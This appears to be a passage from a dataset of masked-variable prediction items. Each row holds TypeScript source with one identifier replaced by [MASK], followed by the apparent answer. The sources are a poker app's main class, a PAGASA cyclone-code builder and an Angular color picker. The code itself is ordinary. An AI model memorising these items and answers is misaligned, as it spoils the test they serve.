        const pagejElement = $("".page .sub-page."" + pageName);
        if (pagejElement.length === 0) {
            console.error(""Could not bind sub page "" + pageName + "" since DOM element not found."");
            return;
        }

        if (pagejElement.length > 1) {
            console.warn(""Page "" + pageName + "" has more then one element to bind."");
            return;
        }

        const pageElement = pagejElement[0];
        if (!pageElement.hasChildNodes()) {
            const templateSource: string = pagejElement.data(""template"") as any;
            const pageLoadPromise = $.get(templateSource, ""text/html"").then(function(data: string) {
                pagejElement.html(data);
                try {
                    ko.applyBindings(viewModel, pageElement);
                } catch (e) {
                    console.log(""Bind page "" + pageName + "" failed"");
                }
            });
            this.loadPromises.push(pageLoadPromise);
            return;
        }

        ko.applyBindings(viewModel, pageElement);
    }
    public bindPopup(popup: string, viewModel: any): void {
        this.commandManager.registerCommand(""popup."" + popup, () => {
            this.showPopup(popup);
        });
        if (typeof window === ""undefined"") {
            return;
        }

        const popupjElement = $("".popup."" + popup);
        if (popupjElement.length === 0) {
            console.error(""Could not bind popup "" + popup + "" since DOM element not found."");
            return;
        }

        if (popupjElement.length > 1) {
            console.warn(""Popup "" + popup + "" has more then one element to bind."");
            return;
        }

        const popupElement = popupjElement[0];
        if (!popupElement.hasChildNodes()) {
            const templateSource: string = popupjElement.data(""template"") as any;
            $.get(templateSource, ""text/html"").then(function(data) {
                popupjElement.html(data);
                try {
                    ko.applyBindings(viewModel, popupElement);
                } catch (e) {
                    console.log(""Bind popup "" + popup + "" failed"");
                    console.log(""Detailed exception: "", e);
                }
            });
            return;
        }

        ko.applyBindings(viewModel, popupElement);
    }
    public bindUIElement(className: string, viewModel: any): void {
        if (typeof window === ""undefined"") {
            return;
        }

        const uiElement = $(className);
        if (uiElement.length === 0) {
            console.error(""Could not bind UI element with class "" + className + "" since DOM element not found."");
            return;
        }

        if (uiElement.length > 1) {
            console.warn(""UI element with class "" + className + "" has more then one element."");
            return;
        }

        const domElement = uiElement[0];
        if (!domElement.hasChildNodes()) {
            const templateSource: string = uiElement.data(""template"") as any;
            $.get(templateSource, ""text/html"").then(function(data) {
                uiElement.html(data);
                try {
                    ko.applyBindings(viewModel, domElement);
                } catch (e) {
                    console.log(""Bind UI element "" + className + "" failed"");
                }
            });
            return;
        }

        ko.applyBindings(viewModel, domElement);
    }
    public async showPopup(popupName: string, ...args: any[]) {
        if (!popupName) {
            console.error(""The empty popup passed"");
            throw new Error(""The empty popup passed"");
        }

        if (this.currentPopup != null) {
            this.hideMoreBlock();
            this.closePopup();
        }

        this.currentPopup = popupName;
        console.log(""Show popup "" + popupName);
        const result = new Promise<PopupResult>((resolve) => {
            this.popupClosed.addOnce(function(name: string, dialogResults?: any) {
                if (popupName !== name) {
                    console.warn(""Responding to popup "" + name + "" instead of "" + popupName);
                }

                const signalData = {
                    name,
                    result: dialogResults,
                };
                resolve(signalData);
            }, this, 1);
            const popupObject = this[(this.currentPopup + ""Popup"") as keyof this] as PopupBase;
            if (popupObject != null) {
                popupObject.shown(args);
            }

            if (typeof window !== ""undefined"") {
                const popupContainer = $("".popup."" + popupName + "" .popup-container"");
                if (popupContainer.length > 0) {
                    popupContainer[0].scrollTop = 0;
                }

                $("".popup."" + popupName).css(""display"", ""block"");
                $("".popup-background"").css(""display"", ""block"");
            }
        });
        return result;
    }
    public closePopup(result?: any): void {
        if (this.currentPopup) {
            console.log(""Close popup "" + this.currentPopup);
            if (typeof window !== ""undefined"") {
                $("".popup."" + this.currentPopup + "" .popup-container"")[0].scrollTop = 0;
                $("".popup."" + this.currentPopup).css(""display"", ""none"");

                $("".popup-background"").css(""display"", ""none"");
            }

            const popupName = this.currentPopup;
            const popupObject = this[(this.currentPopup + ""Popup"") as keyof this] as PopupBase;
            /* tslint:disable:no-string-literal */
            if (popupObject !== undefined && popupObject[""visible""] !== undefined) {
                popupObject.visible(false);
            }

            /* tslint:enable:no-string-literal */
            this.currentPopup = null;
            this.popupClosed.dispatch(popupName, result);
        }
    }
    public executeCommand(commandName: string, parameters: any[]= []) {
        this.commandManager.executeCommand(commandName, parameters);
    }
    public reloadApplication() {
        /* tslint:disable:no-unused-expression no-string-literal */
        window[""StatusBar""] && StatusBar.show();
        /* tslint:enable:no-unused-expression no-string-literal */
        window.location.reload();
    }
    public shouldRotateToOrientation(interfaceOrientation: any) {
        /* tslint:disable-next-line:no-string-literal */
        const worker: WorkerFunc | undefined = window[""ScreenOrientation""][""shouldRotateToOrientation""];
        if (worker) {
            return worker(interfaceOrientation);
        }

        return false;
    }
    public requireAuthentication(): Promise<LoginPromptResult> {
        if (!authManager.authenticated()) {
            return new Promise<LoginPromptResult>((resolve, reject) => {
                // We don't authenticated, so display authentication popup.
                this.popupClosed.addOnce(function() {
                    // Resolve with current authentication status, so
                    // caller would know operation was successful or not.
                    resolve({
                        authenticated: authManager.authenticated(),
                        wasAuthenticated: false,
                    });
                }, this, undefined);
                this.showPopup(""auth"");
            });
        } else {
            // We already authenticated, no need to show authentication popup.
            return Promise.resolve({
                authenticated: true,
                wasAuthenticated: true,
            });
        }
    }
    public async requireGuestAuthentication(): Promise<LoginPromptResult> {
        if (!authManager.authenticated()) {
            // We don't authenticated, so display authentication popup.
            const authenticate = await authManager.loginAsGuest();
            if (authenticate !== ""Ok"") {
                await SimplePopup.display(_(""auth.guestPlay""), [_(`errors.${authenticate}`)]);
            }

            return {
                authenticated: authManager.authenticated(),
                wasAuthenticated: false,
            };
        } else {
            // We already authenticated, no need to show authentication popup.
            return {
                authenticated: true,
                wasAuthenticated: true,
            };
        }
    }
    public prompt(title: string, messages: string[], buttons: string[] | null = null) {
        if (buttons === null) {
            buttons = [_(""common.ok""), _(""common.cancel"")];
        }

        this.showPopup(""okcancel"");
        const popupObject = this.okcancelPopup;
        const deferred = popupObject.deferred;
        popupObject.title(title);
        popupObject.messages(messages);
        popupObject.buttons(buttons);
        popupObject.customStyle("""");
        return deferred;
    }
    public promptEx(title: string, messages: string[], buttons: string[], actions: ProviseOrVoidFactory[]) {
        this.showPopup(""custom"");
        const popupObject = this.customPopup;
        const deferred = popupObject.deferred;
        popupObject.title(title);
        popupObject.messages(messages);
        popupObject.buttons(buttons);
        popupObject.actions(actions);
        return deferred;
    }

    public promptAsync(title: string, messages: string[], buttons: string[] | null = null) {
        return new Promise<boolean>((resolve, reject) => {
            this.prompt(title, messages, buttons).then(() => resolve(true), () => resolve(false));
        });
    }
    private initializeTabbar() {
        this.tabBar = new TabBar();
        this.tabBar.addItem(""home"", _(""tabbar.home""), ""home"", function() {
            app.executeCommand(""page.home"");
            app.showPageBlock(""home"");
        });
        this.tabBar.addItem(""lobby"", _(""tabbar.lobby""), ""lobby"", function() {
            app.lobbyPageBlock.showLobby();
        });
        this.tabBar.addItem(""tables"", _(""tabbar.tables""), ""tables"", function() {
            const currentTable = app.tablesPage.currentTable();
            if (currentTable === null || currentTable.model === null) {
                console.warn(""No tables opened. Could not open tables page"");
                SimplePopup.display(_(""menu.tables""), _(""tablesList.noTablesSelected""));
                return;
            }

            if (currentTable.tableId === 0) {
                return;
            }

            app.executeCommand(""app.selectTable"", [currentTable.model]);
            app.showSubPage(""tables"");
        });
        this.tabBar.addItem(""cashier"", _(""tabbar.cashier""), ""cashier"", function() {
            app.executeCommand(""pageblock.cashier"");
            // app.executeCommand(""pageblock.other"");
        });
        this.tabBar.addItem(""more"", _(""tabbar.more""), ""more"", function() {
            const currentTabBarItem = UIManager.getTabBarItemForPage(uiManager.currentPageBlock);
            const isMoreSelected = app.tabBar.isSelected(""more"");
            const isMoreOpened = $(""body"").hasClass(""more-opened"");
            if (isMoreOpened) {
                app.tabBar.select(""more"", false);
                app.tabBar.select(currentTabBarItem, true);
                $("".more-block"").hide();
                $(""body"").removeClass(""more-opened"");
            } else {
                app.tabBar.select(currentTabBarItem, false);
                app.tabBar.select(""more"", true);
                app.morePopup.update();
                $("".more-block"").show();
                $(""body"").addClass(""more-opened"");
            }

            app.morePopup.visible(!app.morePopup.visible());
        });
        this.tabBar.enable(""tables"", false);

        if (typeof window !== ""undefined"") {
            const tabBarElement = $("".toolbar-container"")[0];
            if (tabBarElement) {
                ko.applyBindings(this.tabBar, tabBarElement);
            }
        }

        uiManager.subPageHiding.add(function(blockHiding: string) {
            const name = UIManager.getTabBarItemForPage(blockHiding);
            app.tabBar.select(name, false);
        });
        uiManager.subPageShowing.add(function(blockShowing: string) {
            const name = UIManager.getTabBarItemForPage(blockShowing);
            app.tabBar.select(name, true);
        });
        uiManager.pageBlockHiding.add(function(blockHiding: string) {
            const name = UIManager.getTabBarItemForPage(blockHiding);
            app.tabBar.select(name, false);
        });
        uiManager.pageBlockShowing.add(function(blockShowing: string) {
            const name = UIManager.getTabBarItemForPage(blockShowing);
            app.tabBar.select(name, true);
        });
        uiManager.pageBlockHidden.add(function(pageBlock: string) {
            if (app.tabBar.isSelected(""more"")) {
                if (pageBlock !== ""more"" && !app.morePopup.visible()) {
                    app.tabBar.select(""more"", false);
                }

                app.hideMoreBlock();
            }
        });
    }
    private onResign() {
        const self = app;
        self.logEvent(""Application resign active"");
        // Wrap code in the timeout to prevent application from freezing.
        self.terminateConnection();
    }
    private onActive() {
        const self = app;
        self.logEvent(""Application active"");
        // Wrap code in the timeout to prevent application from freezing.
        self.establishConnection();
    }
    private onPause() {
        const self = app;
        const device: Device = window.device;
        if (platformInfo.isTablet) {
            orientationService.enableRotation();
        }

        if (platformInfo.reloadOnResume) {
            // Don't do anything if reloading on resume.
            if (uiManager.currentPage === ""tables"") {
                settings.lastPage(""tables"");
            } else {
                settings.lastPage(""main"");
            }

            settings.authToken(getAuthToken());
            settings.lastTime(new Date().valueOf());
            settings.saveSettings();
            return;
        }

        if (self.suppressResume) {
            return;
        }

        if (debugSettings.application.deactivateOnPause) {
            uiManager.deactivateSubPage(uiManager.currentPage);
        }

        self.logEvent(""Pause application"");
        // Wrap code in the timeout to prevent application from freezing.
        timeService.setTimeout(function() {
            self.logEvent(""Pause application#2"");
            self.showSplash();
            settings.saveSettings();
            if (self.currentPopup === ""registration"") {
                self.savedPopup = self.currentPopup;
            } else {
                self.savedPopup = null;
            }

            self.closePopup();
            timeService.printDebug();
        }, 0);
        timeService.stop();
        self.processing(false);
        self.spinner.stop();
        self.terminateConnection();
    }
    private onResume() {
        const self = app;
        const device: Device = window.device;
        if (platformInfo.reloadOnResume) {
            // Reload to the main page with special configuration parameter
            self.showSplash();
            location.replace(location.protocol + ""//"" + location.host + location.pathname + ""?restore=true"");
            return;
        }

        if (self.suppressResume) {
            self.suppressResume = false;

            if (self.savedPopup) {
                self.showPopup(self.savedPopup, true);
                self.savedPopup = null;
            }

            return;
        }

        self.logEvent(""Resume application"");
        if (appConfig.timeSettings.updateTimeFromServer) {
            timeService.start();
        }

        self.showSplash();
        const target = document.getElementById(""spinner"");
        self.spinner.spin(target);
        let pageBeforeClosing = uiManager.effectivePageContainer;
        let pageBlockBeforeClosing = uiManager.currentPageBlock;
        let subPageBeforeClosing = uiManager.currentPage;
        if (pageBeforeClosing === ""initialization"" || pageBeforeClosing === null) {
            pageBeforeClosing = ""main"";
            pageBlockBeforeClosing = ""home"";
            subPageBeforeClosing = ""home"";
        }

        uiManager.showPage(""initialization"");
        settings.loadSettings();
        self.setInitializationState();
        orientationService.setLastOrientation();
        if (platformInfo.isTablet) {
            orientationService.suppressRotation();
        }

        if (slowInternetService.fatalError) {
            self.hideSplash();
            slowInternetService.showDuplicatedConnectionPopup();
            return;
        }

        if (slowInternetService.hasInternet()) {
            slowInternetService.closePopup();
            self.updateMetadataOnResume(pageBeforeClosing, pageBlockBeforeClosing, subPageBeforeClosing);
            slowInternetService.setRetryHandler(null);
            self.hideSplash();
        } else {
            slowInternetService.onOffline();
            self.hideSplash();
            slowInternetService.setRetryHandler(function() {
                self.updateMetadataOnResume(pageBeforeClosing, pageBlockBeforeClosing, subPageBeforeClosing);
            });
        }
    }
    private registerCommands() {
        this.commandManager.registerCommand(""popup.auth.show"", () => {
            this.showPopup(""auth"");
        });
        this.commandManager.registerCommand(""popup.auth.forgetPassword"", () => {
            this.showPopup(""forgetPassword"");
        });
        this.commandManager.registerCommand(""popup.auth.registration"", () => {
            this.showPopup(""registration"");
        });
        this.commandManager.registerCommand(""popup.auth.continueForgetPassword"", () => {
            this.showPopup(""continueForgetPassword"");
        });
        this.commandManager.registerCommand(""popup.close"", () => {
            this.closePopup();
        });
        this.commandManager.registerCommand(""popup.cancel"", () => {
            this.closePopup(""cancel"");
        });
        this.commandManager.registerCommand(""more.close"", () => {
            this.hideMoreBlock();
            const currentTabBarItem = UIManager.getTabBarItemForPage(uiManager.currentPageBlock);
            app.tabBar.select(currentTabBarItem, true);
        });
        this.commandManager.registerCommand(""legal.eula"", () => {
            app.closePopup();
            app.executeCommand(""pageblock.info"");
            app.infoPageBlock.showLicenseAgreement();
        });
        this.commandManager.registerCommand(""logout"", () => {
            authManager.logout();
        });
        this.commandManager.registerCommand(""app.exit"", () => {
            authManager.logout();
            this.reloadApplication();
        });
    }
    private async updateMetadataOnResume(lastPage: string, pageBlockBeforeClosing: string, subPageBeforeClosing: string) {
        if (debugSettings.initialization.stopOnResume) {
            return;
        }

        console.log(""Launch intialization of metadata on resume"");
        if (!this.fullyInitialized) {
            console.log(""Application was never initialized, performing full initialization."");
            await this.updateMetadataOnLaunch();
            return;
        }

        const failHandler = () => {
            console.log(""Failed updating metadata on resume, rescheduling attempt."");
            slowInternetService.showReconnectFailedPopup();
            slowInternetService.setRetryHandler(() => {
                this.updateMetadataOnResume(lastPage, pageBlockBeforeClosing, subPageBeforeClosing);
            });
        };
        if (!await this.versionCheck()) {
            return;
        }

        this.preloadTableImages();
        try {
            await metadataManager.update();
            tableManager.initialize(this.commandManager);
            try {
                await tableManager.getCurrentTablesAndTournaments();
                this.spinner.stop();
                const wrapper = await this.establishConnection();
                if (wrapper.terminated) {
                    return;
                }

                this.logEvent(""Showing last page"");
                if (lastPage != null) {
                    if (!debugSettings.application.goToLobbyAfterPause) {
                        uiManager.showPage(lastPage);
                    } else {
                        uiManager.showPage(""main"");
                        if (lastPage === ""table"") {
                            uiManager.showPageBlock(""lobby"");
                            uiManager.showSubPage(""lobby"");
                        }
                    }
                } else {
                    uiManager.showPage(""main"");
                }

                if (debugSettings.application.deactivateOnPause) {
                    this.logEvent(""Activating subpage"");
                    uiManager.activateSubPage(uiManager.currentPage);
                }

                if (this.savedPopup) {
                    this.showPopup(this.savedPopup, true);
                    this.savedPopup = null;
                }

                orientationService.setLastOrientation();
                reloadManager.execute();
            } catch (e) {
                failHandler();
            }
        } catch (e) {
            failHandler();
        }
    }
    private async updateMetadataOnLaunch() {
        if (debugSettings.initialization.stopOnLaunch) {
            return;
        }

        console.log(""Launch intialization of metadata first time"");
        const failHandler = (e: unknown) => {
            if (e) {
                console.error(e);
            } else {
                console.error(""Unknown error happens during updateMetadataOnLaunch. See log messages above to diagnose what happens."");
            }

            console.log(""Failed updating metadata for first time, rescheduling attempt."");
            slowInternetService.setRetryHandler(() => {
                this.updateMetadataOnLaunch();
            });
        };
        if (!await this.versionCheck()) {
            return;
        }

        this.preloadTableImages();
        try {
            await metadataManager.update();
            this.spinner.stop();
            tableManager.initialize(this.commandManager);
            try {
                await this.establishConnection();
                await tableManager.getCurrentTablesAndTournaments();
                this.fullyInitialized = true;
                metadataManager.setReady(null);
            } catch (e) {
                console.log(""Failed to initialize connection and get current tables and tournaments"");
                failHandler(e);
            }
        } catch (e) {
            console.log(""Failed to initialize tables."");
            failHandler(e);
        }
    }
    private async versionCheck() {
        try {
            await metadataManager.versionCheck();
            return true;
        } catch (e) {
            // Display dialog which prompts for the update.
            app.promptEx(_(""updater.title""), [_(""updater.line1"")], [_(""updater.button"")], [() => {
                const  [MASK]  = new WebsiteService(host);
                 [MASK] .navigateUpdateApk();
            }]);
            return false;
        }
    }
    private setupTouchActivation() {
        // This is a fix which updates binding for the knockout value binding.
        // This is nescessary since touchstart event start handling.
        $(""body"").on(""keyup"", ""input"", function(event) {
            $(this).trigger(""change"");
        });
        $(""body"").on(""touchstart"", "".button, .actionable"", function(event) {
            $(this).addClass(""pressed"");
        }).on(""touchend"", "".button, .actionable"", function(event) {
            $(this).removeClass(""pressed"");
        }).on(""touchcancel"", "".button, .actionable"", function(event) {
            $(this).removeClass(""pressed"");
        });
    }
    private setupMenu() {
        menu.initialize([
            { id: 1, order: 1, name: _(""menu.home"") },
            { id: 2, order: 1, name: _(""menu.lobby"") },
            { id: 3, order: 1, name: _(""menu.tables"") },
            { id: 4, order: 1, name: _(""menu.cashier"") },
            { id: 5, order: 1, name: _(""menu.account"") },
            { id: 6, order: 1, name: _(""menu.chat"") },
            { id: 7, order: 1, name: _(""menu.rating"") },
            { id: 8, order: 1, name: _(""menu.messages"") },
            { id: 9, order: 1, name: _(""menu.information"") },
        ]);
        menu.optionItemClick = function(itemId) {
            if (itemId === 1) {
                app.executeCommand(""page.home"");
                app.showPageBlock(""home"");
            }
            if (itemId === 2) {
                app.lobbyPageBlock.showLobby();
            }
            if (itemId === 3) {
                app.executeCommand(""page.tables"");
            }
            if (itemId === 4) {
                app.executeCommand(""pageblock.cashier"");
            }
            if (itemId === 5) {
                app.executeCommand(""page.account"");
            }
            if (itemId === 6) {
                app.executeCommand(""page.chat"");
            }
            if (itemId === 7) {
                app.executeCommand(""page.rating"");
            }
            if (itemId === 8) {
                app.executeCommand(""page.messages"");
            }
            if (itemId === 9) {
                app.executeCommand(""page.information"");
            }
            console.log(itemId);
        };
    }
    private async loadTablesAndTournaments(authenticated: boolean) {
        if (authenticated) {
            try {
                await tableManager.getCurrentTablesAndTournaments();
                this.establishConnection();
            } catch (e) {
                console.log(""Could not get current tables!"");
                slowInternetService.showReconnectFailedPopup();
            }
        } else {
            tableManager.clear();
            this.establishConnection();
        }
    }
    private setFailedState() {
        const parentElement = document.getElementById(""deviceready"");
        if (parentElement) {
            const listeningElement = parentElement.querySelector("".listening"");
            const receivedElement = parentElement.querySelector("".received"");

            receivedElement.setAttribute(""style"", ""display:none;"");
            const failedElement = parentElement.querySelector("".failed"");
            failedElement.setAttribute(""style"", ""display:block;"");
        }
    }
    private metadataUpdateFailed() {
        this.setFailedState();
        console.log(""Metadata retreiving failure"");
    }
    private setDesiredOrientation() {
        if (!PageBlock.useDoubleView) {
            orientationService.setOrientation(""portrait"");
        } else {
            orientationService.setOrientation(""landscape"");
        }
    }
    private initializeConnection() {
        // connectionService.initializeConnection();
        connectionService.recoverableError.add(() => {
            this.establishConnection();
        });
    }
    private terminateConnection(forceDisconnect = false) {
        tableManager.stopConnectingToTables();
        connectionService.terminateConnection(forceDisconnect);
    }
    private async establishConnection(maxAttempts = 3) {
        // This part should be moved up to the stack to remove dependency on other services
        // in the connection management.
        connectionService.initializeConnection();
        const wrapper = await connectionService.establishConnectionAsync(maxAttempts);
        if (wrapper.terminated) {
            return wrapper;
        }

        this.logEvent(""Setting up connection dependent services."");
        slowInternetService.manualDisconnect = false;
        tableManager.connectTables();
        tableManager.connectTournaments();
        try {
            this.logEvent(""Joining lobby chat."");
            wrapper.joinChat(0);
        } catch (error) {
            console.log(error);
            throw new Error(""Could not join chat after establishingConnection"");
        }

        this.logEvent(""Listening lobby chat messages."");
        wrapper.onMessage(function(messageId, tableId, type, sender, message) {
            if (tableId !== 0) {
                return;
            }

            if (type === ""B"") {
                broadcastService.displayMessage(message);
            }
        });

        return wrapper;
    }
    private hideMoreBlock() {
        app.morePopup.visible(false);
        $("".more-block"").hide();
        $(""body"").removeClass(""more-opened"");
        app.tabBar.select(""more"", false);
    }

    private updateTabbar(authenticated: boolean, tables: TableView[]) {
        if (authenticated) {
            const tablesEnabled = tables.length > 0;
            this.tabBar.enable(""tables"", tablesEnabled);
        } else {
            this.tabBar.enable(""tables"", false);
        }
    }
    private setupClosePopupOnClick() {
        $("".popup-background"").on(""tap"", () => {
            if (app.currentPopup !== ""slowConnection"") {
                app.closePopup();
            }
        });
    }
    private preloadTableImages() {
        // TODO: Use web-workers for the preloading.
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table2-empty"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table2-s1"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table2-s2"").catch(() => {});

        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table6-empty"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table6-s1"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table6-s2"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table6-s3"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table6-s4"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table6-s5"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table6-s6"").catch(() => {});

        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-empty"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s1"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s2"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s3"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s4"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s5"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s6"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s7"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s8"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s9"").catch(() => {});
        imagePreloadService.preloadResource(appConfig.ui.deploymentPath + ""img/lobby/table10-s10"").catch(() => {});

        imagePreloadService.preloadDeviceSpecificResource(appConfig.ui.deploymentPath + ""img/images/tableImages/poker_table"").catch(() => {});
    }
    private logEvent(message: string) {
        if (debugSettings.device.events) {
            console.log(message);
        }
    }
    private getParameterByName(name: string) {
        name = name.replace(/[\[]/, ""\\["").replace(/[\]]/, ""\\]"");
        const regex = new RegExp(""[\\?&]"" + name + ""=([^&#]*)"");
        const results = regex.exec(location.search);
        return results == null
            ? """"
            : decodeURIComponent(results[1].replace(/\+/g, "" ""));
    }
    private showSplash() {
        /* tslint:disable:no-unused-expression no-string-literal */
        navigator[""splashscreen""] && navigator.splashscreen.show();
        /* tslint:enable:no-unused-expression no-string-literal */
    }
    private hideSplash() {
        /* tslint:disable:no-unused-expression no-string-literal */
        navigator[""splashscreen""] && navigator.splashscreen.hide();
        /* tslint:enable:no-unused-expression no-string-literal */
    }
}

declare const app: App;
",websiteService
229,"import {PAGASADocument} from ""../scraper/PagasaScraper"";

export function findCycloneNumber(name: string) : [number, number] {
    const  [MASK]  = name.toLowerCase();

    for (const [year, set] of Object.entries(CycloneNames)) {
        for (let id = 0; id < set.length; id++) {
            const name = set[id];
            if (name.toLowerCase() ===  [MASK] )  {
                return [+year, id + 1];
            }
        }
    }

    return [+(new Date().getFullYear()), 0];
}

export function buildCode(document: PAGASADocument, advisory = false): string {
    const [year, cycloneNumber] = findCycloneNumber(document.name);
    return `PAGASA_${
        year.toString().substr(2)
    }-TC${
        cycloneNumber < 10 ? `0${cycloneNumber}` : cycloneNumber
    }_${
        document.name[0].toUpperCase() + document.name.substr(1).toLowerCase()
    }_TC${
        advisory ? ""A"" : ""B""
    }#${
        document.count < 10 ? `0${document.count}` : document.count
    }${
        document.final ? ""-FINAL"" : """"
    }`;
}

// noinspection SpellCheckingInspection
export const CycloneNames = {
    2024: [
        ""Aghon"",
        ""Butchoy"",
        ""Carina"",
        ""Dindo"",
        ""Enteng"",
        ""Ferdie"",
        ""Gener"",
        ""Helen"",
        ""Igme"",
        ""Julian"",
        ""Kristine"",
        ""Leon"",
        ""Marce"",
        ""Nika"",
        ""Ofel"",
        ""Pepito"",
        ""Querubin"",
        ""Romina"",
        ""Siony"",
        ""Tonyo"",
        ""Upang"",
        ""Vicky"",
        ""Warren"",
        ""Yoyong"",
        ""Zosimo"",
        ""Alakdan"",
        ""Baldo"",
        ""Clara"",
        ""Dencio"",
        ""Estong"",
        ""Felipe"",
        ""Gomer"",
        ""Heling"",
        ""Ismael"",
        ""Julio""
    ],
    2025: [
        ""Auring"",
        ""Bising"",
        ""Crising"",
        ""Dante"",
        ""Emong"",
        ""Fabian"",
        ""Gorio"",
        ""Huaning"",
        ""Isang"",
        ""Jacinto"",
        ""Kiko"",
        ""Lannie"",
        ""Mirasol"",
        ""Nando"",
        ""Opong"",
        ""Paolo"",
        ""Quedan"",
        ""Ramil"",
        ""Salome"",
        ""Tino"",
        ""Uwan"",
        ""Verbena"",
        ""Wilma"",
        ""Yasmin"",
        ""Zoraida"",
        ""Alamid"",
        ""Bruno"",
        ""Conching"",
        ""Dolor"",
        ""Ernie"",
        ""Florante"",
        ""Gerardo"",
        ""Hernan"",
        ""Isko"",
        ""Jerome""
    ],
    2026: [
        ""Ada"",
        ""Basyang"",
        ""Caloy"",
        ""Domeng"",
        ""Ester"",
        ""Francisco"",
        ""Gardo"",
        ""Henry"",
        ""Inday"",
        ""Josie"",
        ""Kiyapo"",
        ""Luis"",
        ""Maymay"",
        ""Neneng"",
        ""Obet"",
        ""Pilandok"",
        ""Queenie"",
        ""Rosal"",
        ""Samuel"",
        ""Tomas"",
        ""Umberto"",
        ""Venus"",
        ""Waldo"",
        ""Yayang"",
        ""Zeny"",
        ""Agila"",
        ""Bagwis"",
        ""Chito"",
        ""Diego"",
        ""Elena"",
        ""Felino"",
        ""Gunding"",
        ""Harriet"",
        ""Indang"",
        ""Jessa""
    ],
    2027: [
        ""Amang"",
        ""Betty"",
        ""Chedeng"",
        ""Dodong"",
        ""Emil"",
        ""Falcon"",
        ""Gavino"",
        ""Hanna"",
        ""Ineng"",
        ""Jenny"",
        ""Kabayan"",
        ""Liwayway"",
        ""Marilyn"",
        ""Nimfa"",
        ""Onyok"",
        ""Perla"",
        ""Quiel"",
        ""Ramon"",
        ""Sarah"",
        ""Tamaraw"",
        ""Ugong"",
        ""Viring"",
        ""Weng"",
        ""Yoyoy"",
        ""Zigzag"",
        ""Abe"",
        ""Berto"",
        ""Charo"",
        ""Dado"",
        ""Estoy"",
        ""Felion"",
        ""Gening"",
        ""Herman"",
        ""Irma"",
        ""Jaime""
    ],
};
",toFind
230,"import {
  ChangeDetectorRef,
  Component,
  ElementRef,
  EventEmitter,
  forwardRef,
  Input,
  OnInit,
  Output,
  Renderer2,
  ViewChild
} from '@angular/core';
import { ControlValueAccessor, NG_VALUE_ACCESSOR } from '@angular/forms';

/**
 * Component that wraps the native HTML5 color picker for supported browsers
 */
@Component({
  selector: 'wily-color-picker',
  templateUrl: './color-picker.component.html',
  styleUrls: ['./color-picker.component.css'],
  providers: [
    {
      provide: NG_VALUE_ACCESSOR,
      useExisting: forwardRef(() => ColorPickerComponent),
      multi: true
    }
  ]
})
export class ColorPickerComponent implements ControlValueAccessor, OnInit {

  /**
   * Regex to match a hexadecimal string (000000)
   * @private
   */
  private static readonly FULL_HEX_REGEX = new RegExp('^[0-9A-Fa-f]{6}$');

  /**
   * Regex to match a short hexadecimal string (000)
   * @private
   */
  private static readonly SHORT_HEX_REGEX = new RegExp('^[0-9A-Fa-f]{3}$');

  /**
   * Regex to match a valid hex character (A-F, a-f, 0-9)
   * @private
   */
  private static readonly HEX_CHARACTER_REGEX = new RegExp('^[0-9A-Fa-f]$');

  /**
   * Navigation keys
   * @private
   */
  private static readonly NAVIGATION_KEYS = [
    'Enter', 'Esc', 'Escape', 'Tab', 'Shift',
    'ArrowLeft', 'ArrowUp', 'ArrowRight', 'ArrowDown',
    'Backspace', 'Delete'
  ];

  /**
   * Set the value of the color picker
   * @param value the value to set
   */
  @Input()
  set value(value: string) {
    let hexString = value ?? '';

    if (hexString) {
      ColorPickerComponent.FULL_HEX_REGEX.lastIndex = 0;
      ColorPickerComponent.SHORT_HEX_REGEX.lastIndex = 0;

      hexString = hexString.replace('#', '').toLowerCase();

      if (ColorPickerComponent.SHORT_HEX_REGEX.test(hexString)) {
        hexString = ColorPickerComponent.expandShortHexString(hexString);
      }

      if (!ColorPickerComponent.FULL_HEX_REGEX.test(hexString)) {
        hexString = '';
      }
    }

    this._value = hexString;

    if (this.colorInput) {
      this.colorInput.nativeElement.value = this._value;
    }
  }

  /**
   * Set disabled
   * @param disabled whether or not the control should be disabled
   */
  @Input()
  set disabled(disabled: boolean) {
    this._disabled = disabled;
  }

  /**
   * Aria label input
   */
  @Input()
  ariaLabel = 'Color picker';

  /**
   * Class list to apply to the hex string input
   */
  @Input()
  classList: string = null as any;

  /**
   * Event emitted on hex string input event. Emits the current value of the input
   */
  @Output()
    // eslint-disable-next-line @angular-eslint/no-output-native
  input = new EventEmitter<string>();

  /**
   * Event emitted on color selection from color picker (color picker widget dismissed)
   * or valid hex string typed in input. Emits the current value of the input
   */
  @Output()
  colorSelected = new EventEmitter<string>();

  /**
   * ViewChild of the color input element
   */
  @ViewChild('colorInput')
  colorInput: ElementRef<HTMLInputElement> = null as any;

  /**
   * Whether or not to render the component
   */
  render = false;

  /**
   * Whether or not the native HTML5 color picker is supported
   */
  colorPickerSupported = false;

  /**
   * The value of the color picker
   */
  _value = '';

  /**
